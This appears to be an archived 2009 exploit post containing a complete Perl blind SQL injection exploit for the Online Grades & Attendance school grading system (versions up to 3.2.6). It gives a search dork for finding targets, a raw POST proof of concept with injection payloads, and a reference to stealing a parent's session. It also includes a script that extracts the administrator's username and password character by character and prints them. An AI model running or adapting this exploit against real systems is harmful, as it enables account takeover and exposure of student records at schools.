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securityvulnsSecurityvulnsSECURITYVULNS:DOC:21935
HistoryJun 02, 2009 - 12:00 a.m.

(Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance <= v-3.2.6-->

2009-06-0200:00:00
vulners.com
19

#!/usr/bin/perl

#-----------------------------------------------------------------------------------
#(Post Form –> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance v-3.2.6–>
#-----------------------------------------------------------------------------------

#CMS INFORMATION:

#–>WEB: http://www.onlinegrades.org/
#–>DOWNLOAD: http://www.onlinegrades.org/
#–>DEMO: http://www.onlinegrades.org/demo_info
#–>CATEGORY: CMS / Education
#–>DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same

features plus many new features. OG is a web based grade…

#–>RELEASED: 2009-02-05

#CMS VULNERABILITY:

#–>TESTED ON: firefox 3
#–>DORK: "Powered by Online Grades"
#–>CATEGORY: BLIND SQL INJECTION EXPLOIT
#–>AFFECT VERSION: <= 3.2.6
#–>Discovered Bug date: 2009-05-21
#–>Reported Bug date: 2009-05-21
#–>Fixed bug date: Not fixed
#–>Info patch: Not fixed
#–>Author: YEnH4ckEr
#–>mail: y3nh4ck3r[at]gmail[dot]com
#–>WEB/BLOG: N/A
#–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.
#–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

#------------
#CONDITIONS:
#------------

#gpc_magic_quotes=OFF

#-------
#NEED:
#-------

#Valid registered parent (PHPSESSID) (Use credentials stealer –>
http://www.securityfocus.com/archive/1/503944/30/0/threaded&#41;

#Used this post info –> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101

#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------

#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermemo HTTP/1.1
#Host: www.onlinegrades.org
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Paros/3.2.13
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard
#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7
#Content-Type: application/x-www-form-urlencoded
#Content-length: 72
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=1# –> TRUE
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=0# –> FALSE

#######################################################################
#######################################################################
##*******************************************************************##

SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 …

####
##-------------------------------------------------------------------##
##
##

GREETZ TO: SPANISH H4ck3Rs community!

##*******************************************************************##
#######################################################################
#######################################################################

use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");
system ("color 04");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
if($[2] eq "post"){
$request = HTTP::Request -> new(POST => $
[0]);
$request->referer($[0]);
$request->header(cookie => "PHPSESSID=".$
[3]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($[1]);
}else{
$request = HTTP::Request -> new(GET => $
[0]);
}
my $outcode= $userag->request($request)->as_string;
#print $outcode; #–> Active this line for debugger mode
return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t—>Maybe:\n\n";
print "\t\t1.-Patched.\n";
print "\t\t2.-Bad path or host.\n";
print "\t\t3.-Bad PHPSESSID value.\n";
print "\t\t4.-Bad POST value.\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t\tRaison–> Magic quotes ON.\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit…\n";
print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 Blind SQLi Exploit\n";
print "\t[!!!] USAGE MODE: [!!!]\n";
print "\t[!!!] perl $0 [HOST] [PATH] [PHPSESSID] [POST]\n";
print "\t[!!!] [HOST]: Web.\n";
print "\t[!!!] [PATH]: Home Path.\n";
print "\t[!!!] [PHPSESSID]: Set PHPSESSID value\n";
print "\t[!!!] [POST]: Set POST value\n";
print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'ej67dt4jdjd57fdv6fkvqquh05'
'TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101' \n";
}
sub brute_length{
#Column length
$exit=0;
$i=0;
while($exit==0){
my $blindsql=$[2]."'+AND+(SELECT+length(".$[1].")+FROM+ADMINS+WHERE+id=1)=".$i++."#"; #injected code
$output=&request($[0],$blindsql,'post',$[3]);
if($output !~ (/Can't get Memo info for Course Code/)){
$exit=1;
}else{
$exit=0;
}
#This is the max length of client_id and client_pw
if($i>80){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength ".$[1]." –> ".$length."\n";
print "\tWait several minutes…\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
$z=45;
while(($k<=$
[1]) && ($z<=126)){
my $blindsql=$[3]."'+AND+ascii(substring((SELECT+".$[2]."+FROM+ADMINS+WHERE+id=1),".$k.",1))=".$z."#";
$output=&request($[0],$blindsql,'post',$[4]);
if ($output !~ (/Can't get Memo info for Course Code/))
{
$values=$values.chr($z);
$k++;
$z=45;
}
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t## Online Grades & Attendance <= v-3.2.6 ##\n\n";
print "\t## Blind SQL Injection Exploit ##\n\n";
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";
print "\t## ++Needed: Registered parend (PHPSESSID) ##\n\n";
print "\t## Author: Y3nh4ck3r ##\n\n";
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t## Proud to be Spanish! ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $PHPSESSID=$ARGV[2];
my $POST=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3)
{
&helper;
exit(1);
}
#Build uri
my $finalhost="http://".$host."/".$path."/parents/parents.php?func=showteachermemo";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";
#magic quotes on?
$output=&request($phpinfo,0,'get',0);
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td
class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
&errormagicquotes;
exit(1);
}
$finalrequest = $finalhost;
#Testing blind sql injection
$send_post1=$POST."'+AND+1=0#";
$output1=&request($finalrequest,$send_post1,'post',$PHPSESSID);
$send_post2=$POST."'+AND+1=1#";
$output2=&request($finalrequest,$send_post2,'post',$PHPSESSID);
if ($output1 eq $output2)
{
#Not injectable
&error;
exit(1);
}else{
#blind sql injection is available
&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,'client_id',$POST,$PHPSESSID);
#Bruteforcing username…
$user=&exploiting($finalrequest,$length_user,'client_id',$POST,$PHPSESSID);
#Bruteforcing length
$length_pw=&brute_length($finalrequest,'client_pw',$POST,$PHPSESSID);
#Bruteforcing password…
$pw=&exploiting($finalrequest,$length_pw,'client_pw',$POST,$PHPSESSID);
#final checking
if((!$user) || (!$pw)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pw."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok…all job done